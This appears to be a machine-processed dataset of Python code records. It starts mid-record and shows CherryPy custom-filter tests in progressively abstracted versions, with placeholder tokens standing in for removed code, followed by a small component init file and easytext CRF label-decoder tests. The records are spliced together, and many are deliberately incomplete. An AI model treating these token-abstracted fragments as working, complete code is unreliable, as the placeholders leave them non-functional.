__init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n\n\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n _cp_filters = [NadsatFilter()]\n\n def index(self):\n return 'A good piece of cherry pie'\n\n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n\n def err(self):\n raise ValueError()\n\n def errinstream(self):\n raise ValueError()\n yield 'confidential'\n\n def restricted(self):\n return 'Welcome!'\n\n def err_in_onstart(self):\n return 'success!'\n cherrypy.config.update({'global': {'server.input_filters': [\n 'cherrypy.test.test_custom_filters.AccessFilter'],\n 'server.log_to_screen': False, 'server.environment': 'production',\n 'server.show_tracebacks': True}, '/cpfilterlist': {\n 'numerify_filter.on': True, 'numerify_filter.map': {'pie':\n '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,\n 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {\n 'stream_response': True}, '/cpfilterlist/err_in_onstart': {\n 'numerify_filter.map': 'pie->3.14159'}})\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n filters.init()\n\n\nimport helper\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\nif __name__ == '__main__':\n setup_server()\n helper.testmain()\n",
"<docstring token>\n<import token>\ntest.prefer_parent_path()\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n\n class Numerify(BaseFilter):\n\n def on_start_resource(self):\n m = cherrypy.config.get('numerify_filter.map', {})\n cherrypy.request.numerify_map = m.items()\n\n def before_finalize(self):\n if not cherrypy.config.get('numerify_filter.on', False):\n return\n\n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n\n\n class NadsatFilter:\n\n def __init__(self):\n self.counter = 0\n self.ended = {}\n\n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n\n def before_finalize(self):\n\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace('good', 'horrorshow')\n chunk = chunk.replace('piece', 'lomtick')\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n\n def on_end_request(self):\n cherrypy.response.body = 'razdrez'\n self.ended[cherrypy.request.counter] = True\n\n\n class Root:\n\n def index(self):\n return 'Howdy earth!'\n index.exposed = True\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n\n\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n _cp_filters = [NadsatFilter()]\n\n def index(self):\n return 'A good piece of cherry pie'\n\n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n\n def err(self):\n raise ValueError()\n\n def errinstream(self):\n raise ValueError()\n yield 'confidential'\n\n def restricted(self):\n return 'Welcome!'\n\n def err_in_onstart(self):\n return 'success!'\n cherrypy.config.update({'global': {'server.input_filters': [\n 'cherrypy.test.test_custom_filters.AccessFilter'],\n 'server.log_to_screen': False, 'server.environment': 'production',\n 'server.show_tracebacks': True}, '/cpfilterlist': {\n 'numerify_filter.on': True, 'numerify_filter.map': {'pie':\n '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,\n 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {\n 'stream_response': True}, '/cpfilterlist/err_in_onstart': {\n 'numerify_filter.map': 'pie->3.14159'}})\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n filters.init()\n\n\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\nif __name__ == '__main__':\n setup_server()\n helper.testmain()\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\ndef setup_server():\n\n\n class Numerify(BaseFilter):\n\n def on_start_resource(self):\n m = cherrypy.config.get('numerify_filter.map', {})\n cherrypy.request.numerify_map = m.items()\n\n def before_finalize(self):\n if not cherrypy.config.get('numerify_filter.on', False):\n return\n\n def number_it(body):\n for chunk in body:\n for k, v in cherrypy.request.numerify_map:\n chunk = chunk.replace(k, v)\n yield chunk\n cherrypy.response.body = number_it(cherrypy.response.body)\n\n\n class NadsatFilter:\n\n def __init__(self):\n self.counter = 0\n self.ended = {}\n\n def before_main(self):\n cherrypy.request.counter = self.counter = self.counter + 1\n self.ended[cherrypy.request.counter] = False\n\n def before_finalize(self):\n\n def nadsat_it_up(body):\n for chunk in body:\n chunk = chunk.replace('good', 'horrorshow')\n chunk = chunk.replace('piece', 'lomtick')\n yield chunk\n cherrypy.response.body = nadsat_it_up(cherrypy.response.body)\n\n def on_end_request(self):\n cherrypy.response.body = 'razdrez'\n self.ended[cherrypy.request.counter] = True\n\n\n class Root:\n\n def index(self):\n return 'Howdy earth!'\n index.exposed = True\n cherrypy.root = Root()\n\n\n class TestType(type):\n \"\"\"Metaclass which automatically exposes all functions in each subclass,\n and adds an instance of the subclass as an attribute of cherrypy.root.\n \"\"\"\n\n def __init__(cls, name, bases, dct):\n type.__init__(name, bases, dct)\n for value in dct.itervalues():\n if isinstance(value, types.FunctionType):\n value.exposed = True\n setattr(cherrypy.root, name.lower(), cls())\n\n\n class Test(object):\n __metaclass__ = TestType\n\n\n class CPFilterList(Test):\n _cp_filters = [NadsatFilter()]\n\n def index(self):\n return 'A good piece of cherry pie'\n\n def ended(self, id):\n return repr(self._cp_filters[0].ended[int(id)])\n\n def err(self):\n raise ValueError()\n\n def errinstream(self):\n raise ValueError()\n yield 'confidential'\n\n def restricted(self):\n return 'Welcome!'\n\n def err_in_onstart(self):\n return 'success!'\n cherrypy.config.update({'global': {'server.input_filters': [\n 'cherrypy.test.test_custom_filters.AccessFilter'],\n 'server.log_to_screen': False, 'server.environment': 'production',\n 'server.show_tracebacks': True}, '/cpfilterlist': {\n 'numerify_filter.on': True, 'numerify_filter.map': {'pie':\n '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,\n 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {\n 'stream_response': True}, '/cpfilterlist/err_in_onstart': {\n 'numerify_filter.map': 'pie->3.14159'}})\n filters.input_filters.insert(0, Numerify)\n filters.output_filters.insert(0, Numerify)\n filters.init()\n\n\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n\n def before_request_body(self):\n if not cherrypy.config.get('access_filter.on', False):\n return\n if not getattr(cherrypy.request, 'login', None):\n raise cherrypy.HTTPError(401)\n\n\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass AccessFilter(BaseFilter):\n <function token>\n\n\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n\n def testGuaranteedFilters(self):\n self.getPage('/cpfilterlist/err_in_onstart')\n self.assertErrorPage(500)\n self.assertInBody(\n \"AttributeError: 'Request' object has no attribute 'numerify_map'\")\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n\n def testCPFilterList(self):\n self.getPage('/cpfilterlist/')\n self.assertBody('A horrorshow lomtick of cherry 3.14159')\n self.getPage('/cpfilterlist/ended/1')\n self.assertBody('True')\n valerr = '\\n raise ValueError()\\nValueError'\n self.getPage('/cpfilterlist/err')\n self.assertErrorPage(500, pattern=valerr)\n self.getPage('/cpfilterlist/ended/3')\n self.assertBody('True')\n self.getPage('/cpfilterlist/errinstream')\n self.assertStatus('200 OK')\n self.assertBody('Unrecoverable error in the server.')\n self.getPage('/cpfilterlist/ended/5')\n self.assertBody('True')\n self.getPage('/cpfilterlist/restricted')\n self.assertErrorPage(401)\n <function token>\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n\n\nclass FilterTests(helper.CPWebCase):\n <function token>\n <function token>\n\n\n<code token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n<class token>\n<function token>\n<import token>\n<class token>\n<code token>\n"
] | false |
9,979 |
acad268a228b544d60966a8767734cbf9c1237ac
|
import veil_component
with veil_component.init_component(__name__):
from .material import list_category_materials
from .material import list_material_categories
from .material import list_issue_materials
from .material import list_issue_task_materials
from .material import get_material_image_url
__all__ = [
list_category_materials.__name__,
list_material_categories.__name__,
list_issue_materials.__name__,
list_issue_task_materials.__name__,
get_material_image_url.__name__,
]
|
[
"import veil_component\n\nwith veil_component.init_component(__name__):\n\n from .material import list_category_materials\n from .material import list_material_categories\n from .material import list_issue_materials\n from .material import list_issue_task_materials\n from .material import get_material_image_url\n\n __all__ = [\n list_category_materials.__name__,\n list_material_categories.__name__,\n list_issue_materials.__name__,\n list_issue_task_materials.__name__,\n get_material_image_url.__name__,\n ]\n",
"import veil_component\nwith veil_component.init_component(__name__):\n from .material import list_category_materials\n from .material import list_material_categories\n from .material import list_issue_materials\n from .material import list_issue_task_materials\n from .material import get_material_image_url\n __all__ = [list_category_materials.__name__, list_material_categories.\n __name__, list_issue_materials.__name__, list_issue_task_materials.\n __name__, get_material_image_url.__name__]\n",
"<import token>\nwith veil_component.init_component(__name__):\n from .material import list_category_materials\n from .material import list_material_categories\n from .material import list_issue_materials\n from .material import list_issue_task_materials\n from .material import get_material_image_url\n __all__ = [list_category_materials.__name__, list_material_categories.\n __name__, list_issue_materials.__name__, list_issue_task_materials.\n __name__, get_material_image_url.__name__]\n",
"<import token>\n<code token>\n"
] | false |
9,980 |
f64138ee5a64f09deb72b47b86bd7795acddad4d
|
#!/usr/bin/env python 3
# -*- coding: utf-8 -*-
#
# Copyright (c) 2020 PanXu, Inc. All Rights Reserved
#
"""
测试 label index decoder
Authors: PanXu
Date: 2020/07/05 15:10:00
"""
import pytest
import torch
from easytext.tests import ASSERT
from easytext.data import LabelVocabulary
from easytext.modules import ConditionalRandomField
from easytext.label_decoder import CRFLabelIndexDecoder
class CRFData:
"""
测试用的 crf 数据
"""
def __init__(self):
bio_labels = [["O", "I-X", "B-X", "I-Y", "B-Y"]]
self.label_vocabulary = LabelVocabulary(labels=bio_labels,
padding=LabelVocabulary.PADDING)
self.logits = torch.tensor([
[[0, 0, .5, .5, .2], [0, 0, .3, .3, .1], [0, 0, .9, 10, 1]],
[[0, 0, .2, .5, .2], [0, 0, 3, .3, .1], [0, 0, .9, 1, 1]],
], dtype=torch.float)
self.tags = torch.tensor([
[2, 3, 4],
[3, 2, 2]
], dtype=torch.long)
self.transitions = torch.tensor([
[0.1, 0.2, 0.3, 0.4, 0.5],
[0.8, 0.3, 0.1, 0.7, 0.9],
[-0.3, 2.1, -5.6, 3.4, 4.0],
[0.2, 0.4, 0.6, -0.3, -0.4],
[1.0, 1.0, 1.0, 1.0, 1.0]
], dtype=torch.float)
self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6], dtype=torch.float)
self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4], dtype=torch.float)
# Use the CRF Module with fixed transitions to compute the log_likelihood
self.crf = ConditionalRandomField(5)
self.crf.transitions = torch.nn.Parameter(self.transitions)
self.crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)
self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
# constraint crf
constraints = {(0, 0), (0, 1),
(1, 1), (1, 2),
(2, 2), (2, 3),
(3, 3), (3, 4),
(4, 4), (4, 0)}
# Add the transitions to the end tag
# and from the start tag.
for i in range(5):
constraints.add((5, i))
constraints.add((i, 6))
constraint_crf = ConditionalRandomField(num_tags=5, constraints=constraints)
constraint_crf.transitions = torch.nn.Parameter(self.transitions)
constraint_crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)
constraint_crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
self.constraint_crf = constraint_crf
@pytest.fixture(scope="class")
def crf_data():
"""
产生测试用的 crf data
:return:
"""
return CRFData()
def test_crf_label_index_decoder(crf_data):
"""
测试 crf label index decoder
:param crf_data: crf data
:return:
"""
mask = torch.tensor([
[1, 1, 1],
[1, 1, 0]
], dtype=torch.long)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits,
mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 4, 3], [4, 2, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
def test_crf_label_index_decoder_with_constraint(crf_data):
mask = torch.tensor([
[1, 1, 1],
[1, 1, 0]
], dtype=torch.uint8)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.constraint_crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits,
mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 3, 3], [2, 3, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
|
[
"#!/usr/bin/env python 3\n# -*- coding: utf-8 -*-\n\n#\n# Copyright (c) 2020 PanXu, Inc. All Rights Reserved\n#\n\"\"\"\n测试 label index decoder\n\nAuthors: PanXu\nDate: 2020/07/05 15:10:00\n\"\"\"\nimport pytest\nimport torch\n\nfrom easytext.tests import ASSERT\n\nfrom easytext.data import LabelVocabulary\nfrom easytext.modules import ConditionalRandomField\nfrom easytext.label_decoder import CRFLabelIndexDecoder\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [[\"O\", \"I-X\", \"B-X\", \"I-Y\", \"B-Y\"]]\n\n self.label_vocabulary = LabelVocabulary(labels=bio_labels,\n padding=LabelVocabulary.PADDING)\n\n self.logits = torch.tensor([\n [[0, 0, .5, .5, .2], [0, 0, .3, .3, .1], [0, 0, .9, 10, 1]],\n [[0, 0, .2, .5, .2], [0, 0, 3, .3, .1], [0, 0, .9, 1, 1]],\n ], dtype=torch.float)\n\n self.tags = torch.tensor([\n [2, 3, 4],\n [3, 2, 2]\n ], dtype=torch.long)\n\n self.transitions = torch.tensor([\n [0.1, 0.2, 0.3, 0.4, 0.5],\n [0.8, 0.3, 0.1, 0.7, 0.9],\n [-0.3, 2.1, -5.6, 3.4, 4.0],\n [0.2, 0.4, 0.6, -0.3, -0.4],\n [1.0, 1.0, 1.0, 1.0, 1.0]\n ], dtype=torch.float)\n\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4], dtype=torch.float)\n\n # Use the CRF Module with fixed transitions to compute the log_likelihood\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n\n # constraint crf\n constraints = {(0, 0), (0, 1),\n (1, 1), (1, 2),\n (2, 2), (2, 3),\n (3, 3), (3, 4),\n (4, 4), (4, 0)}\n\n # Add the transitions to the end tag\n # and from the start tag.\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope=\"class\")\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([\n [1, 1, 1],\n [1, 1, 0]\n ], dtype=torch.long)\n\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n\n label_indices = crf_label_index_decoder(logits=crf_data.logits,\n mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\ndef test_crf_label_index_decoder_with_constraint(crf_data):\n mask = torch.tensor([\n [1, 1, 1],\n [1, 1, 0]\n ], dtype=torch.uint8)\n\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.constraint_crf,\n label_vocabulary=crf_data.label_vocabulary)\n\n label_indices = crf_label_index_decoder(logits=crf_data.logits,\n mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 3, 3], [2, 3, padding_index]]\n\n ASSERT.assertListEqual(expect, label_indices.tolist())\n",
"<docstring token>\nimport pytest\nimport torch\nfrom easytext.tests import ASSERT\nfrom easytext.data import LabelVocabulary\nfrom easytext.modules import ConditionalRandomField\nfrom easytext.label_decoder import CRFLabelIndexDecoder\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\ndef test_crf_label_index_decoder_with_constraint(crf_data):\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.\n constraint_crf, label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 3, 3], [2, 3, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n",
"<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\ndef test_crf_label_index_decoder_with_constraint(crf_data):\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.\n constraint_crf, label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 3, 3], [2, 3, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n",
